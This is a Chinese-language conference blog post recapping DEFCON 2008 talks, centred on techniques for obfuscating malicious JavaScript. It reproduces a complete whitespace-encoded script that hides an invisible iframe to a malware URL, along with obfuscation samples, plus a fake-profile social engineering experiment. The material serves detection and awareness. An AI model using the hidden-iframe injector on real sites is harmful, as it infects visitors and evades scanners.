http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2823_filtered_cropped_730.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2823_filtered_cropped_730.jpg)

Kolisar 給我的第一印象,看他眼睛,非常聰明,但是同時也是一個很認真也很誠懇的人。他的演講整間做得滿滿的,算一算快一千人吧!他一開始就說:這是我第一次來 DEFCON 講...事實上,我給過演講,最多只有 20 個人,結果這次第一次上台竟然那麼多人,所以我現在一直發抖...

他的態度讓大家都很喜歡他,台下一直幫他打氣,他不像其他有經驗的講師很會搞笑,一下子就講完了,但是獲得台下好大的掌聲,後來立刻大家也提了很多的問題。我覺得這種會就是這樣,你只要有東西,不用裝強,大家就會聽你說。

Kolisar 首先介紹了各種 javascript 的編碼方式,我在「美國駭客年會 Black Hat 2008 觀察--第二天」中也記錄了 Billy Hoffman 舉的 (http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#BILLY) 各種不同 javascript 的變形方式,也利用 malwareguru.org (http://www.malwareguru.org/) 介紹了線上許多不同的 javascript 變形器。這邊把之前的文貼一些過來。

我們就拿我之前寫的「神秘 Web 攻擊綁架剪貼簿 (http://armorize-cht.blogspot.com/2008/08/registerweb.html)」來看好了,其中用的一段範例 javascript:



function IE_ClipBoard()
{
if (window.clipboardData) {
window.clipboardData.setData("Text","Hello from Wayne!");
}
}

1. Vanishing Point Packer(網頁 (http://code.google.com/p/vanishingpoint/)、malwareguru 上提供的線上 demo (http://malwareguru.com/JSPacker/JavaScriptPacker.php)):



eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 3(){2(1.0){1.0.5("8","7 6 9!")}}',10,10,'clipboardData|window|if|IE_ClipBoard|function|setData|from|Hello|Text|Wayne'.split('|'),0,{}))


2. Yellopipe source code encrypter (http://www.yellowpipe.com/yis/tools/source-encrypter/index.php):



document.write(unescape("function%20IE_ClipBoard%28%29%20%20%0D%0A%7B%20%20%0D%0A%20%20if%20%28window.clipboardData%29%20%7B%20%20%0D%0A%20%20%20%20window.clipboardData.setData%28%22Text%22%2C%22Hello%20from%20Wayne%21%22%29%3B%20%20%0D%0A%20%20%7D%20%20%0D%0A%7D%20%20"));


3. Audit My PC HTML Encoder: (http://www.auditmypc.com/html-encoder.asp)



document.write('\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0020\u0049\u0045\u005F\u0043\u006C\u0069\u0070\u0042\u006F\u0061\u0072\u0064\u0028\u0029\u0020\u0020\u000D\u007B\u0020\u0020\u000D\u0020\u0020\u0069\u0066\u0020\u0028\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061\u0029\u0020\u007B\u0020\u0020\u000D\u0020\u0020\u0020\u0020\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061\u002E\u0073\u0065\u0074\u0044\u0061\u0074\u0061\u0028\u0022\u0054\u0065\u0078\u0074\u0022\u002C\u0022\u0048\u0065\u006C\u006C\u006F\u0020\u0066\u0072\u006F\u006D\u0020\u0057\u0061\u0079\u006E\u0065\u0021\u0022\u0029\u003B\u0020\u0020\u000D\u0020\u0020\u007D\u0020\u0020\u000D\u007D\u0020\u0020');

圖 4
4. 中國的「网?免? 孤程?雪 (http://www.cha88.cn/safe/jsvbscode.php)」線上服務:



t=97,108,101,114,116,40,39,72,101,108,108,111,32,102,114,111,109,32,87,97,121,110,101,32,111,102,32,65,114,109,111,114,105,122,101,33,39,41,59"

t=eval("String.fromCharCode("+t+")");


Kolisar 的公司在美國每一個城市幾乎都有辦公室,他的工作是事件處理,從本部飛到每一個辦公室支援。這兩年他著實看了不少的網站掛馬與變形的 javascript,於是他整理如何辨識變形過的 javascript 如下:

1. 經過 escape 的 ASCII / UNICODE 的字串。
範例 1:


eval(unescape ('%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f
...
%35%35%20%68%65%69%67%68%74%3d%35%31%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%6l%79%3d%2O%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29'));


範例 2:


document.write('\uOO3c\uOO69\uOO66\uOO72\uOO6l\uOO6d\uOO65\uOO2O\uOO73\uOO72\uOO63\uOO3d\uOO27\uOO68\uOO74\uOO74\uOO7O
...
\u0065\u006e\u003b\u0027\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');


2. XOR(ASCII 值)
範例:


function xor_str(plain_str, xor_key) {var xored_str="; for (var i=0; i


3. XOR(字元編碼)
範例:


str=ru'su)(:^L^Kgtobuhno!ru'su)(!z^L^Kw's!fgg!


4. 拆字
範例


le=rame]";
ok=docum";
uk=eight=0]


5. 簡單的編碼
範例


function decrypt_p(x) {var l=x.length,b=1024,i,j,r,p,s,w=0,t=Array(63,53,56,3,9,35,38,14,13,
...
,50,60,7,22,44,19,28);for(j=Math.ceil(l/b);j]0;j==) {r='; for (i=Math.min(l,b);i]0;i--,l--) {w|=(t[x.charCodeAt(p++)-48])]=8;s-=2}else{s=6}}document.write(r)}} decrypt_p("S6dXf5aGSk8t49x1_t721gGPdk72OvU6EUK6fWauC3
...
Ayu1N5xBEUK6qKDfsWz1V94J96CgBPa2u94J96CgDvnGC94J9I");


但是以上這些,在有經驗的資安專家眼中,還是很快會被「懷疑」。當然不是變形過的 javascript 就是惡意的,因為 javascript 變形很普遍(見此文 (http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#BILLY)),並不是所有變形過的 javascript 都一定是惡意的。但是,至少會引來懷疑。

Kolisar 整理說,基本上碰到有以下幾點的 javascript,他都會懷疑並花時間確認:

1. eval()
2. unescape()
3. document.write()
4. 很長並且沒有意義的字串:
* Escape 過的 ASCII / Unicode 字串
* 加密過的字串
* 等等

好,所以 Kolisar 就想,如果要隱藏一個惡意的 iframe 到一個 HTML 文件裡,但是又不要那麼明顯,該如何做?

於是他決定,第一,還是用 document.write() 來寫出來,但是又不要實際上有 document.write()。該如何做呢?首先他利用以下這段程式(我稍微修改過)取得 "document" 這個字串:



h=this;
for (i in h)
if(i.length == 8 && i.charCodeAt(0) == 100) break;


h=this 所以 h 就是 window。for (i in h) 把 h 裡的每一個 properties 都走一遍,而長度等於 8 而已 "d" (ASCII 100) 開頭的,就只有 "document"。

同樣的,接下來 Kolisar 取得 "write":



for (j in h[i])
if(j.length == 5 && j.charCodeAt(0) == 119) break;


在 document 裡,長度是 5 而以 "w" 開頭的,就只有 "write" 了。

同樣的使法,取得 "getElementById":



for (k in h[i])
if(k.length == 14 && k.charCodeAt(0) == 103) break;


這個手法最有趣的地方,就是惡意 javascript payload 擺的方式。payload 不僅用 whitespaces / tabs 來編碼,而且就直接擺在上述這些 javascript 的每一行後面。這一段 javascript,Kolisar 用:



<script>


來開頭。所以現在我們要解碼,就必須先取得 "p" 這個 DOM 物件。有了 "document" 以及 "getElementById",這不是問題,下面這一行搞定:



r=h[i][k]('p');


這行等於 r=this.document.getElementById('p') ,但是乍看之下並不明顯。這就是巧妙處之一。

要讀到我們偷放的 whitespaces / javascript,必須要透過 r.innerHTML,於是再做一次:



for (l in r)
if(l.length == 9) && l.charCodeAt(0) == 105) break;


一切就緒,接下來就只剩把 whitespaces / tabs 轉成我們要 document.write 出來的 iframe,然後最後把字串 "o" 寫出來:



h[i][j](o);


乍看之下,之前我們說的特徵都沒有:eval()、document.write()、很長的奇怪字串...等。有趣吧!但是其實啊,要躲避目前坊間各家的網頁掛馬偵測,不需這麼複雜,就像 Billy (http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#BILLY) 說的,改寫 vbscript 就好了。目前坊間幾乎都是靜態分析,但是 javscript 這種這麼動態的語言(可以動態產生程式碼)完全不適合用靜態分析。即使號稱有動態分析的,都試用 spidermonkey 兜的,碰到駭客目前使用的一些專門對付 spikermonkey 的 javascript 或任何 vbscript,就失效了。所以除非做的像 HackAlert (http://hackalert.armorize.com/),不然偵測率會越來越低。

Kolisar 的整段程式碼如下:



<script>
d=1;
e=76;
h=this;
for (i in h)
{
if(i.length == 8)
{
if(i.charCodeAt(0) == 100)
{
if(i.charCodeAt(7) == 116)
{
break;
}
}
}
}
for (j in h[i])
{
if(j.length == 5)
{
if(j.charCodeAt(0) == 119)
{
if(j.charCodeAt(1) == 114)
{
break;
}
}
}
}
for (k in h[i])
{
if(k.length == 14)
{
if(k.charCodeAt(0) == 103)
{
if(k.charCodeAt(3) == 69)
{
break;
}
}
}
}
r=h[i][k]('p');
for (l in r)
{
if(l.length == 9)
{
if(l.charCodeAt(0) == 105)
{
if(l.charCodeAt(5) == 72)
{
break;
}
}
}
}
a=r[l];
b=a.split('\n');
o=";
for(c=3; c < (e+3); c++)
{
s=b[c];
for(f=0; f < d; f++)
{
y=((s.length - (8*d)) + (f*8));
v=0;
for(x=0; x < 8; x++)
{
if(s.charCodeAt(x+y) > 9)
{
v++;
}
if(x != 7)
{
v=v << 1;
}
}
o += String.fromCharCode(v);
}
}
h[i][j](o);
</script>


我在以上程式碼中,利用 whitespaces / tabs 編碼加入了以下這行:

<iframe src="http://malwareguru.com/kolisar/bad.html" style="display: none">

所以您如果執行以上 javascript,這一行最後會被 document.write 出來。其實,如果您選取部分上面的程式,從反白的地方,您就可以清楚地看到隱藏的 whitespaces / tabs 了:

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/kolisar_script.png (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/kolisar_script.png)

想玩玩看嗎?我架了一份在這裡 (http://malwareguru.com/kolisar/WhiteSpaceEncode.html)。

另外這邊提醒的是,這種手法不一定只用來內嵌 iframe,可以直接內嵌一個 javascript 攻擊程式,直接攻瀏覽器漏洞或外掛漏洞。MalwareGuru 上有一些測試用的此類攻擊程式 (http://www.malwareguru.org/mediawiki/index.php/Collection_of_working_%28live%29_browser_exploits_%28malware%29)。

這次與 Kolisar 聊了很久,後來聊到他的興趣,他說是變魔術。我說真的假的?他說當然,他很小就開始了。每個魔術都是一個謎題(puzzle),他邊看邊想著破法,很著迷,當然也自己表演。後來談到 Medeco,他又說他也迷開鎖(locksport),因為每個鎖其實就是精心設計的一套謎題(puzzle)。這讓我想到 Kuon 曾經跟我說:「解加殼過的惡意程式很有趣,因為每一個樣本就是一個 puzzle」。Kolisar是他們公司逆向工程解惡意程式(脫殼)的第一把交椅,不是也是這樣嗎?看來會做到資安這行,跟先天基因絕對有關係。我的外祖父賣了一輩子的魔術道具,我從小就一直設法破他設計的魔術,或跟他一起研究他那些堆積如山的魔術師錄影帶。

我目前正在跟 Kolisar 做一些很有趣的研究,有成果時在跟各位分享!

4. Nathan Hamiel &amp; Shawn Moyer:撒旦是我好友:用社交工程手法攻擊社交網路(Satan is on my friendlist: Attacking Social Networks)(Black Hat (https://www.blackhat.com/html/bh-usa-08/bh-usa-08-archive.html#Moyer)、DEFCON (http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Hamiel)、官方投影片(不完整) (https://www.blackhat.com/presentations/bh-usa-08/Moyer_Hamiel/BH_US_08_Moyer_Hamiel_Satan_is_on_my_Friends_List_Slides.pdf)、講師會後公開之投影片(完整) (http://www.hexsec.com/docs/Satan_Blackhat_Defcon.pdf)whitepaper (https://www.blackhat.com/presentations/bh-usa-08/Moyer_Hamiel/BH_US_08_Moyer_Hamiel_Satan_is_on_my_Friends_List_Whitepaper.pdf)、訪問影片 (http://tw.youtube.com/watch?v=2lGKzHYBXtQ))

Nathan 跟 Shawn 今年的演講很賣座,但是我在 Black Hat 時沒空去聽,今天趕緊先去佔位子。社交網站,是下一波資安的大漏洞,我完全同意。只是這種研究最近很多人都在做,故題目本身並不算太新。Nathan 跟 Shawn 先介紹了各大社交網站的 XSS (http://en.wikipedia.org/wiki/Cross-site_scripting)或 CSRF (http://en.wikipedia.org/wiki/Cross-site_request_forgery)漏洞,並示範得很清楚,觀眾也都看得很過癮。Nathan 跟 Shawn 是非常好的講師,兩個人配合起來,像唱雙簧一樣,一搭一唱,效果十足。他們公布的漏洞也都很具體,也很嚴重。但是對於這些社交平台有 XSS 或 CSRF,我一點都不感到意外;事實上我們也有發現不少,只是沒有公開。

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3022_filtered_wbed_cropped_730_1.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3022_filtered_wbed_cropped_730_1.jpg)

這場比較吸引我的,倒是後來介紹的社交工程實驗。Nathan 跟 Shawn 決定在 LinkedIn (http://www.linkedin.com/)上製造一個假的身份,看有多少人受騙。在爭取到 Markus Ranum (http://www.ranum.com/)(實做出第一套商業防火牆 SEAL、前 NFR 的創辦人兼 CEO、目前 Tenable (http://www.tenablesecurity.com/)的 CSO)的同意後,Nat 跟 Shawn 就開始在 LinkedIn 上自己「幫」Marcus 建立了一個帳號。他們從網路上抓了他的照片,資料也都從 Marcus 的官方網 (http://www.ranum.com/)站剪貼過來,填得頭頭是道。

接下來要找一些人把這個假的 Marcus 加入好友,這樣這個帳號看起來才像。網路上很多人對於建立線上社交網路很積極,只要你要求把他們加入好友,他們都會答應。Nat 跟 Shawn 用了以下這個 Google hacking 查詢:

"invites accepted" OR "open networker" OR "accepts all invites" OR lion OR toplinked.com OR mylink500 +site:linkedin.com +inurl:/in/ -inurl:updates

從完成假帳號的建立,到使用 Google hacking,到送出約 50 個加入好友 request,只花的一小時。十二個小時後,這個假帳號已經建立了 42 個關連,使得帳號看起來更真實了。不到半天的時間,這個帳號就已經加入了一些資安圈的重要社交群組。接下來就等待看有沒有人送要求過來,希望把假 Marcus 加入好友了。

結果是,很多人送訊息過來,表達在線上遇到 Marcus 實在太好了一些資安界重量級人物也要求把假 Marcus 加入好友,更多人送訊息來跟假 Marcus 討論最新的資安議題...沒有一個人懷疑這個帳號的真實性!而這一切,都是在二十四小時內完成的!

其實本來就是這樣,社交工程一項都是資安裡攻擊者最好用的手法。也難怪這個 blog到目前為止,最多篇文章的分類就是「社交工程 (http://armorize-cht.blogspot.com/search/label/%E7%A4%BE%E4%BA%A4%E5%B7%A5%E7%A8%8B%E6%89%8B%E6%B3%95)」。

以下是 Nat 與 Shawn 在這次 Black Hat 時所接受的訪問:

http://tw.youtube.com/watch?v=2lGKzHYBXtQ&eurl=http://armorize-cht.blogspot.com/2008/08/defcon-2008.html

5. Wendel Guglielmetti Henrique:打穿 WAF(Playing Web Application Firewalls)(大會介紹 (http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Henrique)、投影片 (http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-henrique.pdf))Wendel 是巴西滲透測試公司 Intruders Tiger Team Security (http://www.intruders.com.br/) 的成員,也是 Hackaholic (http://hackaholic.org/)的成員(但是我之前都不認識他)。Google 了一下倒發現他也是今年 H2HC (http://www.h2hc.com.br/en/palestrantes.html#WendelHenrique)的講師。

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3043_filtered_cropped_730.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3043_filtered_cropped_730.jpg)

Wendel 講得很認真,並且有當場 demo 他介紹的技巧如何運用於打穿 Citrix Netscaler 這個 WAF。但是說實在我並沒那麼意外,原因有二。第一,真的要攻擊 WAF,看我之前寫的 Black Hat 第二天 Arian Evans 那場 (http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#ARIAN)就知道了,人家只是客氣沒有當場 demo 而已。況且這也不是什麼新聞,從以前到現在,各大跟 Web 相關的 mailing list(不好意思寫明啦!),只要談到 WAF vs. Scanning(黑箱或白箱)(阻擋攻擊或修改漏洞),就會一長串口水戰,做 WAF 說 WAF 好,做 scanner 的說 WAF 只能擋小部分攻擊等等... 阿碼科技的看法則是,不同客戶有不同的需求,資安團隊的使命就是了解客戶需求,提供專業的建議並實際解決客戶問題,所以並不會預設立場,也因為這樣我們 WAF(SmartWAF (http://www.armorize.com/corpweb/en/products/smartwaf))跟 scanner(CodeSecure (http://www.armorize.com/corpweb/en/products/codesecure))都有,而且現在還可以整合,由 scanner 吐弱點設定檔給 WAF。

第二個原因是,WAF 只是工具,WAF 的自我學習能力再強,也沒有辦法取代人為設定的重要。就像是選生病醫生,有人喜歡選大醫院因為「設備」比較好。我以前也是這樣,但是有了很多經驗,也看多了,聽多了之後,現在我都選醫生。超音波,斷層掃瞄的設備再好,都只是幫醫生做判斷。沒有經驗的醫生,用再好的儀器,都還是沒用,書本上讀的,跟實際有很大的差距。有經驗的醫生,有時看一下病人臉色,問一兩個問題,就可以做出正確的判斷,照都不用照。WAF 也是一樣,WAF 是資安團隊的工具,在來不及把弱點修改好之前,WAF 可以提供一定程度的防禦力。但是 WAF 不是買來就好,重點是設定。我之前就提過了 (http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#ARIAN),「...如果找對好的 partner,有心服務客戶,長期經營,技術能量也夠,那即使用免費的開放源碼 ModSecurity 做 Web 防火牆,一樣能設定到讓您高枕無憂。」

如果你的網站是採用主機代管,由具備 SOC 能力的 hosting provider 幫忙處理 security,那不能只是選對方用什麼設備。就像你選銀行的保險箱放重要的東西,銀行告訴你他們採用了全美國最好的 Medeco 保險箱,那你必須知道:
1. 即使是 Medeco,今年也被破了 (http://www.blogger.com/post-edit.g?blogID=1441759431140700676&amp;postID=1191908525366772135#MEDECO)。
2. 但是更重要的是,銀行買了 Medeco,結果到底有沒有上鎖?如果買了結果都沒鎖,有用嗎?
3. 安全不能靠單點而要靠 layered security (http://en.wikipedia.org/wiki/Layered_security),銀行用了好的保險箱,但是有沒有監控系統?有沒有人在顧監控系統?大門有沒有警衛?

我們把 SmartWAF (http://www.armorize.com/corpweb/en/products/smartwaf)賣給代管廠商,就像我們把保險箱賣給了銀行一樣。銀行到底有沒有好好用,到底有沒有上鎖(SmartWAF (http://www.armorize.com/corpweb/en/products/smartwaf)到底有沒有打開?)我們盡全力去影響,但是畢竟我們無法直接管對方。

6. 黑白帽相見歡(Meet the Feds)(大會介紹 (https://www.defcon.org/html/defcon-16/dc-16-speakers.html#PanelMTF))
聽完了 Wendel 的演講,接著就是每年 Black Hat 以及 DEFCON 各有一場,很好玩的黑白帽相見歡(Meet the Feds)啦!MTF 每年都是大陣仗,今年也不例外,美國與加拿大兩個政府總共出動了 11 個相關單位代表:

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3222_filtered_WBed_Cropped_730.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3222_filtered_WBed_Cropped_730.jpg)

上面照片從左至右的 11 人分別是:
1. Rod Beckstrom (http://en.wikipedia.org/wiki/Rod_Beckstrom):美國國土安全部(DHS) (http://www.dhs.gov/)新單位--國家資安中心(National Cyber Security Center、NCSC (http://en.wikipedia.org/wiki/National_Cyber_Security_Center))」首席,為今年美國政府資安界的當紅新人炸子雞 (http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#ROD)。

2. Lin Wells: 美國國防部網路與資訊整合副次長(白話說法就是美國國防部的副 CIO)(Principal Deputy Assistant Secretary of Defense, Networks and Information Integration (http://www.blogger.com/Assistant%20Secretary%20of%20Defense%20for%20Networks%20&amp;%20Information%20Integration)),此次代表美國國防大學(National Defense University (http://www.ndu.edu/))

3. Richard Marshall:美國國家安全局(National Security,NSA (http://www.nsa.gov/))

4. Mischel Kwon:美國電腦安全緊急應變中心(US-Cert) (http://www.us-cert.gov/)

5. 美國國稅局(IRS) (http://www.irs.gov/)

6. Jim Christy(主席):美國國防部網路犯罪中心(Department of Defense Cyber Crime Center,DC3 (http://www.dc3.mil/))

7. Tom Pownall:加拿大聯邦警察(Royal Canadian Mounted Police,RCMP (http://www.rcmp-grc.gc.ca/))

8. Barry Grundy:美國太空總署電腦犯罪科(NASA Computer Crime Division)

9. David Helfen:美國海軍罪案調查處(Naval Criminal Investigative Service,NCIS (http://en.wikipedia.org/wiki/Naval_Criminal_Investigative_Service))

10. Ray Kessenich:美國國防網路調查訓練學校(Defense Cyber Investigation Training Academy,DCITA (http://www.dc3.mil/dcita/dcitaAbout.php))

11. James Finch:美國聯邦調查局(Federal Bureau of Investigation,FBI (http://www.fbi.gov/))

別看加拿大還來湊熱鬧,事實上這些單位(尤其是比較老的)之間互動非常頻繁,加拿大自90年代後期就一直是美國這些單位的重要聯盟伙伴(見此 1998 新聞,RCMP 聯合 FBI、NASA 與 DC3 抓駭客 (http://www.efc.ca/pages/media/ap.06apr98.html))。

為什麼 NASA 也來呢?NASA 其實在駭客史上是常出現的,因為 NASA 從早期大家就知道,很多好機器,名聲有大,所以大家喜歡攻...還有重點是,其實不難攻,只是會被抓。另外由於各界都對 NASA 的研究很有興趣,所以 NASA 很早就有 website,並有很大的流量。我記得 1995 年世紀大彗星Hale-Bopp被發現時,大家都是到 NASA 的這個網頁來看資料與照片 (http://www2.jpl.nasa.gov/comet/)。到 1997 年時,這個網頁已經有一天超過一百萬次的流量了。如果當初有網頁掛馬,想一想一個一天有一百萬次流量,但是又不太難攻的網頁,對駭客的吸引力會有多大。所以在與駭客作戰方面,NASA 一直算「有經驗」的單位 :)

IRS 會來也是差不多原因,但是比 NASA 還多一個強處。美國抓到人卻無法有效舉證判罪時,都是出動 IRS。個人意見,在美國得罪 IRS 比得罪 FBI 還慘。

這場我是從頭笑到尾,我坐正中間第一個位子,一直笑道腰都直不起來。台上風光介紹每個人的資歷,很多人都是科班出身,意思就是美國政府很強啦。台下我後面大家竊竊私語,像蒐集戰利品一樣:

「嗯,來了 11 個,我這幾年加起來,打進了 3 個」
「遜,我 5 個」
「那要看哪 5 個,有一些太容易啦!」
「還有不要跟我說你的是 xss,要開出 shell 的才算」

問問題大排長龍,問的答的都很好笑。

問:「我們要如何判斷什麼是合法的資安研究,什麼是違法的駭客行為?」
答:「下一個!」
問:「就這樣?!」
答:「你哪裡來的?」
問:「俄羅斯」
答:回頭看比 抓起來的手勢:「下一個!」

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3237_filtered_Wbed_cropped_730.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3237_filtered_Wbed_cropped_730.jpg)

此次被指定回答最多的,就是 FBI 的先生啦!不過似乎他怎麼回答大家都不相信他的樣子...

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3198_filtered_cropped_WBed_730.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3198_filtered_cropped_WBed_730.jpg)

不過看來這些單位來,還有一個大目的,就是招募人才。回答中各單位一再重複,加入有多好多好,履歷要投到哪裡等等,問的問題也有好幾個是這方面的。有好幾位代表很年輕並且感覺技術底子很夠,或之前蠻「黑」的。我覺得這樣對這些單位的形象,絕對有很大的加分作用,因為台上一方面感覺有料,一方面又讓台下感覺,有料可以幫國家做有義意的事,而不是在黑暗處搞破壞或被人利用。恩,肯定這場 panel!

我記得還有一題我笑得抬不起來,後面也是,是這題:

問:「發現重大漏洞真的不能直接完整揭露(full disclosure) (http://www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking/index.html)嗎?」

答:「絕對不行!一定要有耐心跟對方溝通,協助處理完後方可公開!」

聽了快笑死了,每次對方只要是超級大單位,就是先丟一份保密合約(NDA)給我們簽:「不簽就不繼續談」。但是簽了就表示,我們過去現在未來,即使在漏洞修好後十年,或十年後漏洞都還沒修,只要對方不同意,我們就不能公開。你沒看早上第一場 Medeco (http://www.blogger.com/post-edit.g?blogID=1441759431140700676&amp;postID=1191908525366772135#MEDECO),Schuyler 探討與對方互動第一原則,就是「絕對不可簽署保密合約」。這方面我回來有表示過意見,沒想到媒體也有報導出來 (http://www.ithome.com.tw/itadm/article.php?c=50462)。這樣要叫我們如何「有耐心跟對方溝通」?不簽對方就不溝通啊呵!

結束後我冒著大會攝影機還在拍的風險,去找了這位回答的先生討論,因為我知道他私下處理了不少這類的問題,也幫了不少人。他給了一些聯絡資訊,嗯,以後一定會有用的,心裡想,但是其實我應該去要那位 IRS 先生的聯絡方式,因為我們發現貴單位網站有漏洞很久了。但想想算了,等其他人發現去告訴他吧,我才不淌這種麻煩。

7. NIST:量子加密(Quantum Cryptography)

這場結束後今天也就大功告成啦,等一下還有聚會,真是累死人。利用空檔去繞了一些展示區,發現美國國家標準局(NIST (http://www.nist.gov/))有來展示量子加密(quantum cryptography (http://en.wikipedia.org/wiki/Quantum_cryptography))。我資格考考了兩科 quantum,唸了很多 Alice 跟 Bob,但是從沒看過 live 系統,今天真是大開眼界啊!NIST 的研究員正在吃飯,卻放下食物好心的整個跟我解釋了一遍,真是感動,謝謝各位,系統做得真的太帥了!

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3085_filtered_WBed_cropped_730.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3085_filtered_WBed_cropped_730.jpg)

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3090_filtered_wbed_cropped_730.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3090_filtered_wbed_cropped_730.jpg)

8. Thomas Wilhelm:移動駭客空間(Mobile Hacker Spaces)
最後繞道了大門外,參觀了一下今年第一次從科羅拉多開過來展是的移動駭客空間(Mobile Hacker Spaces (https://www.defcon.org/html/defcon-16/dc-16-speakers.html#Wilhelm))。移動駭客空間在這個社群中很紅,因為可以開車到處偷別人的無線訊號來做... 研究... 咳...咳...

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3148_filtered_WBed_cropped_730.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3148_filtered_WBed_cropped_730.jpg)

其實設計這台車的不是別人,就是開放源碼滲透測試工具包 De-ICE.net PenTest LiveCD (http://heorot.net/livecds/) 的創辦人 Thomas Wilhelm,目前為美國某前 50 大(fortune 50)企業的資安人員,也正在念博士班。Thomas 與朋友合著有:「Penetration Tester's Open Source Toolkit, Volume 2 (http://www.amazon.com/Penetration-Testers-Open-Source-Toolkit/dp/1597492132/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1220527384&amp;sr=1-1)」、「Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research (http://www.amazon.com/Metasploit-Penetration-Development-Vulnerability-Research/dp/1597490741/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1220527532&amp;sr=1-1)」、以及「Netcat Power Tools (http://www.amazon.com/Netcat-Power-Tools-Jan-Kanclirz/dp/1597492574)」等有名的資安工具書。

終於寫完啦,一天寫一點時間真的不夠用,感謝閱讀!我會湊出時間把第二三天也寫完的,會合寫成一篇只敘述重要的演講。

作者 Wayne 為阿碼科技 (http://www.armorize.com/) CEO

轉貼自:http://armorize-cht.blogspot.com/2008/08/defcon-2008.html